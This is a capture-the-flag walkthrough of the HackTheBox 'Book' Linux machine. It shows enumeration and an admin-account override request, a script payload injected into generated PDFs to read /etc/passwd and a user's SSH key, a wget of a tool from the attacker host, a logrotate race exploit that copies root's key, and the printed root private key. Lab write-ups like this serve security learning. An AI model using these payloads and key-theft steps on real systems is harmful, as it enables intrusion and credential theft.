HackTheBox — Book

4 min readJul 12, 2020

Summary

Book is a medium level Linux Box with IP 10.10.10.176

Enumeration

Nmap

root@strike:~# nmap -sC -sV 10.10.10.176
Starting Nmap 7.70 ( https://nmap.org ) at 2020-07-12 18:38 EET
Nmap scan report for 10.10.10.176
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.36 seconds
root@strike:~#

Web

Let’s take a look for web page

After login

I tried to use gobuster for brute force the directory

root@strike:~# gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.176
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,asp,aspx,jsp,txt,html
[+] Timeout:        10s
===============================================================
2020/07/12 19:34:14 Starting gobuster
===============================================================
/index.php (Status: 200)
/images (Status: 301)
/contact.php (Status: 302)
/search.php (Status: 302)
/home.php (Status: 302)
/download.php (Status: 302)
/profile.php (Status: 302)
/docs (Status: 301)
/books.php (Status: 302)
/feedback.php (Status: 302)
/admin (Status: 301)
/db.php (Status: 200)
/logout.php (Status: 302)
/collections.php (Status: 302)
/settings.php (Status: 302)
Progress: 4728 / 220561 (2.14%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/07/12 19:38:50 Finished
===============================================================
root@strike:~#

I found admin directory
After visit it

The request is

POST /index.php HTTP/1.1
Host: 10.10.10.176
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.176/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: PHPSESSID=mq1sob5pmstq0i55csvmlafcre
Upgrade-Insecure-Requests: 1

name=admin&email=admin@book.htb      C&password=admin

We have successfuly override the previous admin account Let’s try to login via /admin/index.php

The login to the admin site is successful

The PDF upload is vulnerable to XSS vulnerability

Let’s try to take a look for /etc/passwd file with this payload:

<script>
x=new XMLHttpRequest;
x.onload=function(){
    document.write(this.responseText);
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

Result

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:wwwdata:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemdnetwork:x:100:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemdresolve:x:101:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
reader:x:1000:1000:reader:/home/reader:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

After saw the content of /etc/passwd, I think to try to see the id_rsa key with this payload

<script>
x=new XMLHttpRequest;
x.onload=function(){
    document.write(this.responseText);
};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script>

I got it

Try to connect with this key

Gain user flag!

Privilege Escalation

reader@book:/tmp$ wget 10.10.15.112:80/pspy32 -q
reader@book:/tmp$ chmod +x pspy32
reader@book:/tmp$ ./pspy32
...
2020/07/12 21:28:21 CMD: UID=0    PID=1635   | /usr/sbin/logrotate -f /root/log.cfg
...
reader@book:/tmp$ /usr/sbin/logrotate --version
logrotate 3.11.0

Running ls -R in the home directory of reader shows a backup folder which contains two log files access.log and access.log.1. These files are probably checked by /usr/sbin/logrotate

reader@book:~$ gcc exploit.c -o exploit
reader@book:~$ nano payload
cp /root/.ssh/id_rsa /home/reader/root_id_rsa
chown reader:reader /home/reader/root_id_rsa
reader@book:~$ chmod +x payload
reader@book:~$ ./exploit -p ./payload /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
reader@book:~$ ls
backups  backups2  exploit  exploit.c  lse.sh  payload  root_id_rsa  user.txt
reader@book:~$ cat root_id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsxp94IilXDxbAhMRD2PsQQ46mGrvgSPUh26lCETrWcIdNU6J
cFzQxCMM/E8UwLdD0fzUJtDgo4SUuwUmkPc6FXuLrZ+xqJaKoeu7/3WgjNBnRc7E
z6kgpwnf4GOqpvxx1R1W+atbMkkWn6Ne89ogCUarJFVMEszzuC+14Id83wWSc8uV
ZfwOR1y/Xqdu82HwoAMD3QG/gu6jER8V7zsC0ByAyTLT7VujBAP9USfqOeqza2UN
GWUqIckZ2ITbChBuTeahfH2Oni7Z3q2wXzn/0yubA8BpyzVut4Xy6ZgjpH6tlwQG
BEbULdw9d/E0ZFHN4MoNWuKtybx4iVMTBcZcyQIDAQABAoIBAQCgBcxwIEb2qSp7
KQP2J0ZAPfFWmzzQum26b75eLA3HzasBJOGhlhwlElgY2qNlKJkc9nOrFrePAfdN
PeXeYjXwWclL4MIAKjlFQPVg4v0Gs3GCKqMoEymMdUMlHoer2SPv0N4UBuldfXYM
PhCpebtj7lMdDGUC60Ha0C4FpaiJLdbpfxHase/uHvp3S/x1oMyLwMOOSOoRZZ2B
Ap+fnQEvGmp7QwfH+cJT8ggncyN+Gc17NwXrqvWhkIGnf7Bh+stJeE/sKsvG83Bi
E5ugJKIIipGpZ6ubhmZZ/Wndl8Qcf80EbUYs4oIICWCMu2401dvPMXRp7PCQmAJB
5FVQhEadAoGBAOQ2/nTQCOb2DaiFXCsZSr7NTJCSD2d3s1L6cZc95LThXLL6sWJq
mljR6pC7g17HTTfoXXM2JN9+kz5zNms/eVvO1Ot9GPYWj6TmgWnJlWpT075U3CMU
MNEzJtWyrUGbbRvm/2C8pvNSbLhmtdAg3pDsFb884OT8b4arufE7bdWHAoGBAMjo
y0+3awaLj7ILGgvukDfpK4sMvYmx4QYK2L1R6pkGX2dxa4fs/uFx45Qk79AGc55R
IV1OjFqDoq/s4jj1sChKF2+8+JUcrJMsk0WIMHNtDprI5ibYy7XfHe7oHnOUxCTS
CPrfj2jYM/VCkLTQzdOeITDDIUGG4QGUML8IbM8vAoGBAM6apuSTzetiCF1vVlDC
VfPEorMjOATgzhyqFJnqc5n5iFWUNXC2t8L/T47142mznsmleKyr8NfQnHbmEPcp
ALJH3mTO3QE0zZhpAfIGiFk5SLG/24d6aPOLjnXai5Wgozemeb5XLAGOtlR+z8x7
ZWLoCIwYDjXf/wt5fh3RQo8TAoGAJ9Da2gWDlFx8MdC5bLvuoOX41ynDNlKmQchM
g9iEIad9qMZ1hQ6WxJ8JdwaK8DMXHrz9W7yBXD7SMwNDIf6u1o04b9CHgyWXneMr
nJAM6hMm3c4KrpAwbu60w/AEeOt2o8VsOiusBB80zNpQS0VGRTYFZeCF6rKMTP/N
WU6WIckCgYBE3k00nlMiBNPBn9ZC6legIgRTb/M+WuG7DVxiRltwMoDMVIoi1oXT
ExVWHvmPJh6qYvA8WfvdPYhunyIstqHEPGn14fSl6xx3+eR3djjO6J7VFgypcQwB
yiu6RurPM+vUkQKb1omS+VqPH+Q7FiO+qeywqxSBotnLvVAiaOywUQ==
-----END RSA PRIVATE KEY-----

After getting root_id_rsa key, Let’s try to connect as root

Gain root flag!

If u learn any thing useful from write up, Respect me on HackTheBox

HackTheBox — Book

Summary

Enumeration

Nmap

Web

Privilege Escalation

THX for ur time!

Written by Ahmed Samir